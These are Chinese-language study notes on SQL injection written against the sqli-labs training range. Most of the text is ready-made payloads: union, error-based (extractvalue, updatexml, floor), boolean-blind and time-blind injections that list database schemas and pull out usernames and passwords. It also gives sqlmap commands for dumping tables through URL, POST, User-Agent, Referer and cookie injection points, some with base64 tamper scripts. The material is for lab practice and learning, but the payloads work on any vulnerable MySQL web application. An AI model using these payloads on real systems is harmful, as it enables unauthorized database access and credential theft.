Sql注入笔记
思维导图

注入类型
普通注入
报错注入
盲注
SQL写马注入
普通注入
靶场练习
https://github.com/Audi-1/sqli-labs
注入流程
1,通过and 1=1得到报错类型(int,string)
2,得到闭合方式,order by 猜测数据库字段数
3.得到union的select列数,group by
4,得到回显位置
union注入
库:union select 1,2,database()
表:union select 1,2,group_concat(table_name) from information_shcema.tables where table_schema=database()
字段:union select 1,2,group_concat(column_name) from information_schema.columns where table_column='users' and table_schema=database()
字段内容: union select 1,2,group_concat(username,password) from users
报错注入:
1.extractvalue报错:
extractvalue(1,concat('~',(select...))
库:?id=-1' and 1=extractvalue(1,concat(0x7e,(select substring(database(),1,10))))--+
表:?id=-1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(table_name),20,23)from information_schema.tables where table_schema=database())))--+
字段:?id=100' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(column_name),1,30) from information_schema.columns where table_name='users' and table_schema='security')))--+
字段内容:?id=-1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,20)from users)))--+
靶场示例
http://sql/Less-1/?id=1 and 1=2
得到注入类型为string

http://sql/Less-1/?id=1'--+ 未报错判断回显方式


得到单引号未闭合方式
order by猜测
http://sql/Less-1/?id=1' order by 3--+

http://sql/Less-1/?id=1' order by 4--+

union select 得到回显字段位置
http://sql/Less-1/?id=-1' union select 1,2,3 --+

http://sql/Less-1/?id=-1' union select 1,database(),version() --+
database()得到数据库version() 得到数据库版本

group_concat(table_name)得到对应数据库的表名
http://sql/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

查看到users的字段
http://sql/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

查看字段内容
http://sql/Less-1/?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

报错注入
原理及函数
报错注入:
- extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
- updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
- floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
2.updataxml报错:
updataxml(1,2,3)同上
库:?id=1" and 1=updatexml(1,concat(0x7e,(select substring(database(),1,10))),3)--+
表:?id=1" and 1=updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1,23)from information_schema.tables where table_schema=database())),3)--+
字段:?id=1" and 1=updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1,30) from information_schema.columns where table_name='users' and table_schema='security')),3)--+
字段内容:?id=-1" and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,20)from users)),3)--+
less_6,less_5,floor报错注入
爆用户
库:?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+
表:?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name)from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+
字段:?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'),floor(rand(0)*2)) as a from information_schema.tables group by a--+
字段内容:?id=-1' union select 1,count(*),concat_ws('-',(select concat(username,'~',password)from users limit 1,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
靶场示例:
报错注入得到数据库
http://sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
http://sql/Less-5/?id=1' and 1=updatexml(1,concat(0x7e,(select substring(database(),1,30))),3)--+

表
http://sql/Less-5/?id=1' and 1=updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1,23)from information_schema.tables where table_schema=database())),3)--+

字段
http://sql/Less-5/?id=1' and 1=updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1,30) from information_schema.columns where table_name='users' and table_schema='security')),3)--+

字段值
http://sql/Less-5/?id=-1' and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,30)from users)),3)--+

布尔盲注(第8关)
概念:
这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据
利用上面的那些函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值
通俗的讲就分为正确和错误
判断数据库长度
流程:
第一步:注入点测试
第二步:猜数据库名长度
第三步:猜数据库名(ASCII)
第四步:猜表名
第五步:猜字段名
第六步:猜数据
http://sql/Less-8/?id=1' and (select length(database())>1) and 1=1 --+ true
猜测数据库的名字(第几个的ASCII值)
http://sql/Less-8/?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true
猜表长(第3+1个表的长度为几)
id=1' and length(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1))=5--+
猜表名(猜第四个表的首字母)
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=115--+
猜字段(猜第一个字段的字母)
id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117--+
猜数据(第一行的)
http://sql/Less-8/?id=1' and (ascii(substr(( select id users limit 0,1),1,1)))<80--+
通常用二分法写python脚本判断,或者sqlmap跑结果
python sqlmap.py -u "http://sql/Less-8/?id=1" --dbs
时间盲注(第9关)
通关加载页面是否延迟对到结果--sleep函数
第一步:注入点测试
第二步:猜数据库名长度
第三步:猜数据库名(ASCII)
第四步:猜表名
第五步:猜字段名
第六步:猜数据
- 判断版本
http://sql/Less-9/?id=1'and if(substr(version(),1,1)=5,sleep(4),null) --+
- 判断数据库长度
http://sql/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+
3、判断数据库(第一个字母ASCII)
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
4、判断表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) --+
- 判断字段
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=101,sleep(5),1) --+
6、判断字段内容
?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1) --+
Sqlmap通关sqllab教程
工具sqlmap跑结果流程
1、判断注入点
python sqlmap.py -u http://sql/Less-1/?id=-1%27
或对抓包的txt文件进行操作
python sqlmap.py -r D:\桌面\r.txt

上述说明存在注入点
2、得到数据库
python sqlmap.py -u "http://sql/Less-2/?id=1" --dbs
爆破当前数据库

3、得到表
python sqlmap.py -u "http://sql/Less-2/?id=1" -D security --tables --dump

获取数据库对应的表
4、得到字段
python sqlmap.py -u "http://sql/Less-2/?id=1" -D security -T users --columns --dump
获取数据库对应的字段

5、得到字段内容
python sqlmap.py -u "http://sql/Less-2/?id=1" -D security -T users -C username,password --dump

接着的1-9关
都可以用该操作语句得到结果
python sqlmap.py -u "http://sql/Less-9/?id=1" --dbs

第10关提高level和risk来提高成功率
python sqlmap.py -u "http://sql/Less-9/?id=1" -level=2 --dbs

第11-17关POST抓包
python sqlmap.py -r D:\桌面\r.txt --dbs


通过页面回显值判断注入点
第18关
在ua头中存在注入点
python sqlmap.py -u "http://sql/Less-18/ --data="uname=admin&passwd=admin&submit=Submit" --user-agent="*" --thread=10 --dbs

第19关
python sqlmap.py -u "http://sql/Less-19/ --data="uname=admin&passwd=admin&submit=Submit" --referer="*" --thread=10 --dbs

第20关
手工:
登录成功后
python sqlmap.py -u http://sql/Less-20/ --cookie="uname=*" --dbs

第21关
手工:

=的url编码为%3D

') union select 1,2,database() # 进行base64编码

Sqlmap --tamper 解码
python sqlmap.py -u http://sql/Less-21/ --cookie="uname=*" --dbs --tamper "base64encode.py"

第22关
修改了闭合方式 "

Sqlmap:
python sqlmap.py -u http://sql/Less-21/ --cookie="uname=*" --dbs --tamper "base64encode.py"